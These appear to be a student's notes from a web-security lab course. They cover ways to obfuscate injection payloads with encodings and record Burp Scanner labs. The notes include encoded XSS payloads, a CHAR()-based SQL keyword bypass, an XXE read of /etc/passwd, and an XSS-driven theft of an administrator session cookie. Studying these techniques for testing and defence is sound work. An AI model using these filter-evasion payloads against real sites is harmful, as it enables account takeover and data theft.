Methodology

Obfuscating attacks using encoding

Obfuscation via URL encoding

[...]/?search=Fish+%26+Chips

Obfuscation via double URL encoding

[...]/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

Obfuscation via HTML encoding

<img src=x onerror="&#x61;lert(1)">
<a href="javascript&#00000000000058;alert(1)">Click me</a>

Obfuscation via XML encoding

<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
        999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>

Obfuscation via unicode escaping

eval("\u0061lert(1)")
<a href="javascript:\u{00000000061}alert(1)">Click me</a>

Obfuscation via hex escaping

eval("\x61lert")

Obfuscation via octal escaping

eval("\141lert(1)")

Obfuscation via multiple encodings

It is important to note that you can combine encodings to hide your payloads behind multiple layers of obfuscation. Look at the javascript: URL in the following example:

<a href="javascript:&bsol;u0061lert(1)">Click me</a>

Browsers will first HTML decode \, resulting in a backslash. This has the effect of turning the otherwise arbitrary u0061 characters into the unicode escape \u0061:

<a href="javascript:\u0061lert(1)">Click me</a>

This is then decoded further to form a functioning XSS payload:

<a href="javascript:alert(1)">Click me</a>

Clearly, to successfully inject a payload in this way, you need a solid understanding of which decoding is performed on your input and in what order.

Obfuscation via the SQL CHAR() function

By concatenating the returned values, you can use this approach to obfuscate blocked keywords. For example, even if SELECT is blacklisted, the following injection initially appears harmless:

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

However, when this is processed as SQL by the application, it will dynamically construct the SELECT keyword and execute the injected query.

Using Burp Scanner during manual testing

Scanning a specific request

If you right-click on a request and select Do active scan, Burp Scanner will use its default configuration to audit only this request.

Lab: Discovering vulnerabilities quickly with targeted scanning

After exploring the website, we can see that there is a suspicious request.

After sending that request to active scan, we can see that it has an XXE vulnerability

After which, we will send it to the repeater and change the request to what is shown below

However, it does not show the content of /etc/passwd.

The next step is to parse it as a text file to solve the lab.

Scanning custom insertion points

Highlight the insertion point you're interested in, then right-click and select Scan selected insertion point.

Scanning non-standard data structures

When dealing with common formats, such as JSON, Burp Scanner is able to parse the data and place payloads in the correct positions without breaking the structure. However, consider a parameter that looks something like this:

user=048857-carlos

Lab

We can see that the session cookie does not look like standard data structures, so we will try to scan the first part of the cookie weiner.

After scanning, we can see that there is an XSS vulnerability

After testing the payload, we will need to send this payload over to get the administrator cookie

After sending using the repeater, we can see the session cookie for administrator

We will need to decode it before using

After replacing the cookie, we are in the administrator user